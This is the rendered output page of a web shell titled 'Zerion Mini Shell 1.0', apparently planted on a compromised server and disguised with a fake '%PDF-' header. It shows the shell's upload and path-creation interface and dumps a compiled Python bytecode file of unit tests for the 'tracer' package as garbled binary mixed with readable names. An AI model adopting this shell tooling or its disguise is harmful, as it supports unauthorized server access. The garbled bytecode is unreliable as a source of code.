%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tracer/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tracer/tests/__pycache__/test_tracer.cpython-39.pyc

a

"e�
�@s�ddlTddlmZddlmZddlmZmZddlm	Z	ddl
mZmZm
Z
mZzddlmZWnddlmZYn0Gd	d
�d
ej�ZGdd�de�ZGd
d�de	�ZGdd�de�ZGdd�de�ZGdd�de�Zddd�Zedkr�e��dS)�)�*�)�Tracer)�Rules)�Applications�Application)�AffectedProcess)�ProcessesCollection�PackagesCollection�ApplicationsCollection�AffectedProcessesCollection)�patchc@s0eZdZdd�Zeddd�dd��Zdd	�Zd
S)�	TestRulescCs>t�t_tt�tttd�|_d|j_t�	ddd��t
t_dS)N)�memoryi�ZkernelT)�name�ignore)
rrZ_appsr�PackageManagerMockr�dump_memory_mock�tracerZ	timestampZ_append_application�
ProcessesMockrZprocesses_factory��self�r�</usr/lib/python3.9/site-packages/tracer/tests/test_tracer.py�setUps
zTestRules.setUpz0tracer.resources.applications.System.init_systemZdummy)Zreturn_valuecCs>|j��}|�t|�tt�d�t�d�g��|�|t�dS)N�baz�qux)rZtrace_affectedZassertSetEqual�setr�find�assertIsInstancer)rZinit_system�affectedrrr�test_trace_affecteds
$zTestRules.test_trace_affectedcCsV|j�t�d�t�}|�|t�|�t|�d�|d}|�|t	�|�|j
d�dS)Nrrr�)rZtrace_applicationrr�AffectedProcessMockrrZassertEqual�lenr�pid)rr �processrrr�test_trace_application sz TestRules.test_trace_applicationN)�__name__�
__module__�__qualname__rr
r!r'rrrrrs

rc@sXeZdZdd�Zdd�Zedd��Zedd��Zed	d
��Zdd�Z	d
d�Z
dd�ZdS)�ProcessMockcCs||_||_||_||_dS�N)r%�files�_name�_create_time)rr%r�create_timer-rrr�__init__+szProcessMock.__init__cCs|jSr,�r.rrrrr1szProcessMock.namecCs|jSr,r2rrrr�	real_name4szProcessMock.real_namecCsdS�NFrrrrr�is_interpreted8szProcessMock.is_interpretedcCsdSr4rrrrr�
is_session<szProcessMock.is_sessioncCs|jSr,)r/rrrrr0@szProcessMock.create_timecCsgSr,rrrrr�childrenCszProcessMock.childrencCsdSr,rrrrr�parentFszProcessMock.parentN)r(r)r*r1r�propertyr3r5r6r0r7r8rrrrr+*s


r+c@seZdZddd�ZdS)r#NcCs||_t�|_t�|_dSr,)r%rZpackagesr-)rr%rrrr1KszAffectedProcessMock.__init__)N�r(r)r*r1rrrrr#Jsr#c@seZdZedd��ZdS)rc
CsHttdddgd��tdddgd��td	d
dgd��td
ddddg�g�S)N�ZfooiW��file1Zfile2�file3�Zbari'�Zfile10Zfile11Zfile12r"ri
)�file7r=r>�r�a�file4�file9)r	r+rrrr�allSs�zProcessesMock.allN)r(r)r*�staticmethodrFrrrrrRsrc@seZdZdd�ZdS)�PackageMockcCs||_||_||_dSr,)r�modifiedr-)rrrIr-rrrr1^szPackageMock.__init__Nr:rrrrrH]srHc@sXeZdZeddgd��eddgd��eddgd	��ed
dgd��gZd
d�Zdd�ZdS)r�Ai
r<�Bi\)rDZfile5Zfile6�CrC)rAZfile8rE�Di�"r@cstt�fdd�|j��S)Ncs
|j�kSr,)rI)�p��	unix_timerr�<lambda>m�z8PackageManagerMock.packages_newer_than.<locals>.<lambda>)r
�filter�	_packages)rrPrrOr�packages_newer_thanlsz&PackageManagerMock.packages_newer_thancCs$|jD]}|j|kr|jSqdSr,)rTrr-)r�pkg_name�packagerrr�
package_filesos

z PackageManagerMock.package_filesN)r(r)r*rHrTrUrXrrrrrds�rNcCsDi}t��D]2}|jD]&}||vr2||�|�q|g||<qq|Sr,)rrFr-�append)�userrr&�filerrrrus
r�__main__)N)Z__meta__Ztracer.resources.tracerrZtracer.resources.rulesrZtracer.resources.applicationsrrZtracer.resources.processesrZtracer.resources.collectionsr	r
rrZ
unittest.mockr
ZmockZunittestZTestCaser�objectr+r#rrHrrr(�mainrrrr�<module>s$ 


Zerion Mini Shell 1.0